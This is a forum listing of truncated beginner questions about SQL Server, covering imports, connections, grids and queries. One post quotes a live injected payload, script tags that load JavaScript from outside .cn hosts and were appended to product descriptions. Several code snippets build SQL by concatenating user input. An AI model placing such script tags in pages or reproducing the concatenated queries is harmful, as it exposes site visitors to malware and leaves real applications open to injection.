[microsoft:sql-server] Forum Topics

HI, pls help me in this.. How to import Excel Sheet data into SQL Server 2008.? i use Excel 2010. SQL Server 2008. how to import data? thanks in advance. jack

I have written code to show records in a datagridview but it shows nothing. I have tried to debug & when it step into GetData function following codes [Code] Catch ex As Exception returnData = Nothing If connection.State = ConnectionState.Open Then connection.Close() End If [/Code] become gray & it shows …

How can you create standard UDDs across all new databases ? Actually i want to create user defined datatypes across all the databases . I am using MS SQL 2000. I want the ans through query only. Below is my code for creating UDD- [CODE] sp_addtype gender_rule,'char(10)','not null' [/CODE] Now …

I have a checkedlistbox that is being generated by a datatable at form load. It contains a list of author names as my form is about adding books. A single book could have one or more authors, so that is the case. What it must do is when I add …

i am trying to isert and retrieve the following into/from StudentData table in sql dbs using C#: (FullName,RegNumber,Sex,Level,Department,Faculty,Session,Passport) except passport, every other things were inserted. please how can i insert and retreive the 8 columns. please help me with both codes. thanx.

We have constructed a windows service unde W2003 Server in vb.net 2010 to process certain database transactions. It should work 24/7 o the server. However, after 3/4 days it blocks the windows server operation since the memory usage is ever-increasing. After many revisions, we decided to place under "comments" all …

my database on sql server 2005. my application is completely working in my computer. but on other machine sql server 2005 login error.sql server does not allow remote server. please how can i load my application on other computer.

I have a problem with updating records in a database table. Background: The user can fetch data that belongs with an image. The data is displayed in a form. In this form the user can add/change data and then save this to the database. This part works fine. My next …

Hello....i want to create one table in aspx.net.I am using gridview in order to make the table. The things is I want to include the data row by row inside gridview using different sql statements...here I try to upload the template that I want as of my output.If anyone can …

hi.every body.i write program with c# and database,sqlserverExpress2005 and i use from this connection string: "server=.\\SQLEXPRESS;AttachDbFilename=" + System.IO.Directory.GetCurrentDirectory() + "\\db\\education_1.mdf;Database=education_1;Trusted_Connection=Yes;Integrated Security=true"; in my computer this connection string work true.but when i creat install file for this program and install it to another computer after i run it, sqlserverExpress2005 send me …

The title is pretty much self-explanatory. I need to create a simple asp.net web app which will read a delimited text file and then update an existing SQL table with the content of the file. The program does not even have to display any results really.. Just to update the …

'System.Data.SqlClient.SqlTransaction' in Assembly 'System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' is not marked as serializable. Stack Trace: at System.Runtime.Serialization.FormatterServices.InternalGetSerializableMembers(RuntimeType type) at System.Runtime.Serialization.FormatterServices.GetSerializableMembers(Type type, StreamingContext context) at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.InitMemberInfo() at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.InitSerialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter) at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.Serialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter) …

I have been using Pymssql to connect to MS SQL Server from Python. Currently I am not able to debug my python scripts due to a issue ("No buffer space available") in pymssql. I was also thinking of other options like using pyodbc. I need a good solution to connect …

How to make clients on sql server i mean when i will install my application on clients how i will connect it with sql server?

Hello, I've been working on this for three days now and I can't seem to get my listbox to populate...please help. I'm connecting to an sql database. Where am I going wrong? [code] Dim cmd As New SqlCommand("SELECT DISTINCT natureport FROM rates ORDER BY natureport", conn) Dim da As SqlDataReader …

I have two tables in my database, one for teachers and another for students. The students table has column for name, admission no., math’s, English, computer, agric. Different teachers are responsible for each subject. I have a gridview that shows all the columns, but I want only the teacher responsible …

I'm getting GDI+ error when saving picturebox image to the database. My database is sql server with image datatype. Ideally when I browse image file to the picturebox then save using following code [CODE=vb.net] MemoryStream ms = new MemoryStream(); picMenu.Image.Save(ms, picMenu.Image.RawFormat); Dim arrImage() As Byte = ms.GetBuffer ms.Close(); [/CODE] then …

I have a string that I need to convert to int before updating it in my database, but haven't managed to figure out how it's done. Here's my latest try: [code=c] int iLager = Int32.Parse(TextBoxProdNumberOf.Text); SqlConnection conn = new SqlConnection(config); conn.Open(); string sql = "UPDATE Produkter SET iLager ='" + …

I have a table called Messages which has a field called Attachment. The Attachment field uses a data type of "image" and binary data is inserted into that field whenever a file is uploaded from my website. This is the code to insert the attachment into the database: [CODE] string …

Please help, Someone there who knows how to create an sql for ms access database and php. The Problem is the fields in the table are written with spaces and I am not gonna change it in any means because it is connected to a very large program and it …

Hi: I'm new to this forum. First, a little about me. I'm an advanced beginner/hobbyist (oxymoron?) who has managed to learn VB by downloading, studying books and writing programs in the Express editions of VB2005 and, more recently, VB2008. Moreover I have learned to use MS SQLSever express editions as …

I'm writing a query that will produce the athlete's id, their name (first name and last name combined into one column), the total number of games they have participated in, and the total number of medals they have won. This involves a number of tables. In one query, the number …

i got this! [CODE]Option Explicit Public con As New ADODB.Connection Public rsTally As New ADODB.Recordset Public Sub Connect() con.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\Documents and Settings\Aianski\Desktop\Cliente ko\SGO_Tally.mdb;Persist Security Info=False" rsTally.Open "select * from tbl_Tally ", con, 3, 2 End Sub [/CODE] i think its right. but when i run it i get "syntax …

sir,i i have two date columns today_date and doj_date.both of them are varchar data type.now i want to update today_date='01/06/2010' to '01/04/2010' where doj_date='01/04/2010'.that means only the month column. ihave used the following code update installment_scheme_customer set substring(today_date,4,2)='04' where substring(today_date,4,2)='06' and substring(doj_date,4,2)='04' . but it is showing error like this …

I have a simple form in which i have a contact name combo box. The combo box gets info from a querry (name, contact number 1, contact number 2). I want the name to display in the combobox (which it does) and then contact # 1 and 2 to display …

Okay Basically i want to put the contents of array called numbers into a MSSQL database i can connect to it no problem and select and display data so its not a connectivity issue here is what i have so far: [CODE] for (int i = 0; i < numbers.length; …

Hi, I migrated the session state from "InProc" to "SqlState" by making the classes serializable, and the application works fine by retrieving data from the database and displaying it on the forms but the error message displays as follows when i try to save any information into the database from …

Set up my database through the wizard and copied the connection string it presented to me. But am having problems connecting to the actual DB. Error quoted below. Am I missing out on something? [CODE] Private Sub btnDB_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnDB.Click Dim strConnect As …

I have a project that can potentially use a SQL server as a host for it's data. When a user starts the application for the first time, a wizard walks them through selecting how to store their data. If a user selects the SQL option and indicates that the database …

My problem is that when this executes the results come up as a query in the text box and not the result. Is there a way that this can be converted? The idea is to select a name within the combobox and this should update the 3 textboxes with the …

i'm new in database . now need to work on it . if somebody has good MS SQL ref book or link, pls let me know. any teaching website or something would appreciate. Many thanks

I got a sql injection hack that put this after each description in my database. <script src="http://b.adserv.cn/E/J.JS"></script><script src="http://b.rtbn2.cn/E/J.JS"></script> any idea how to remove it without deleting the descrition? Here is what I have HIM PORTRAIT SHIRT<script src="http://b.adserv.cn/E/J.JS"></script><script src="http://b.rtbn2.cn/E/J.JS"></script> Here is what I need HIM PORTRAIT SHIRT 3000 items / rows …

I have this code that works fine: [code=c] protected void ButtonImgTextToDB_Click(object sender, EventArgs e) { string ID = TextBoxStartPictID.Text; string Rubrik = TextBoxHeadLineStart.Text; string Text = TextBoxTextStart.Text; SqlConnection conn = new SqlConnection(config); conn.Open(); string sql = "UPDATE StartImage SET Headline ='" + Rubrik + "', Text ='" + Text + …

hi , i am making an internal social networking application for my small organisation where i work .i have a list of all employee names in a mssql 2000 database that are the names of 5000 employees of the company one by one arranged in rows in a single coloumn …

I recently discovered the power of Linq To SQL and decided to implement it into a control that I am working on right now. So far it is making life much easier but I have ran into a small stumbling block here and need the experts assistance. I have a …

How Would i connect my C programe With SQL PLUS ???????/ IS there any header file i hv 2 study???? or any other solution??? i want 2 make a program which is user friendly who dont know the SQL bt by this programe they can easily manage the database..... plz …

Hi, I'm newbie in IIS and MSSQL using php. I got problem connecting to my host and selecting database. Could you please help me how to connect using php. Mar,

have been creating reports using crystal report and crystal report viewer. but i want now to generate them from sql databse using reportviewer. my report does not display any record. for a crystal report, to load data, the code is for example: dim myreport as new crystalreport1 crystalreportviewer1.reportsource=myreport crystalreportviewer1.refresh and …

I have a table in SQL Server with the following structure: DateRated, Parameter, Rating, UserID Sample Data DateRated Parameter Rating UserID 10/01/2010 Flexibility Good User101 10/01/2010 Efficiency Average User101 10/01/2010 Value For Money Below Average User101 I want to create a query that will make it like this: DateRated Flexibility …

Unlike web programming, radiobutton needs to be group by a groupbox, panel etc. and that's what i'm confused at. I have two radiobutton that is 'yes' and 'no', what I want is to determine what object to declare in parameters used for the two to get its value. My code …

I want to find out whether the password is incorrect for the username. I'm using sqldatareader.

Ok im trying to get my head around this and i could do with some input from someone else, brains about ready to shut up shop! So im looking at LINQ to try and pull off records where a confirmed field is equal to null. The confirmed field is a …

I am using a stored procedure to fill a dataset with a large amount of data (47k rows and 8 columns). I am needing to fill two tables with the results of this stored proc. One table will have data representing 47k reps that currently have credit for a transaction. …

Have you ever forgot or lost your SQL Server sa password? Did you hava any ideals to reset your lost sa password? Or choosed to reinstall MS SQL Server on your PC again? I once forgot my SQL sa password and I reinstalled SQL Server at last, because I failed …

Hi Guys, I have a script (vbs) that exports the contents of the database (SQL Server) generating an XML file, but he always brings with encoding UTF-16. Is there any way to change to ISO-8859-1 through exports? Or maybe in the XSL file? Here a piece of code that exports: …

I've been asked to create a new front end to our reports that were built using reporting services (SSRS). the front end is dynamic and changes by report, and it will prompt for the parameters of the report. Help me someone!! I don't even know where to begin developing this …

I have the following sql query: ET QUOTED_IDENTIFIER ON GO SET ANSI_NULLS ON GO ALTER PROCEDURE YourProcedure AS insert into msbtotal.dbo.newclients SELECT tcms_members.dbo.memberdata.* FROM tcms_members.dbo.memberdata left outer join msbtotal.dbo.memberdata on tcms_members.dbo.memberdata.id = msbtotal.dbo.memberdata.id where msbtotal.dbo.memberdata.id is null GO SET QUOTED_IDENTIFIER OFF GO SET ANSI_NULLS ON GO What this does is …

This is my first SQL project. An Access database was converted to SQL Server 2005 Express using the DTS utility. The old AutoNumber fields were automatically converted to int identity not null fields. However, when attempting to INSERT a row, such as the following ASP code, [CODE]Conn.Execute("INSERT INTO tblAdmin3 (fldA3Username,fldA3TimeIn,fldA3Date) …

hi, Does anyone know how to accumulate total in sql.I have made a function to add a amount to sql.i wants the amount which i have add to be accumulated in total column in sql.How do i make it work. please help [CODE] Public Function Update_TotalBalance() As Boolean Dim myConnection …

Hi, I'm new to VS 2008. And as a uni project, we had to create a doctor surgery databases as a group. However, when one of my group member sent me part of her work and when I tried to open it in my VS 2008, I failed to open …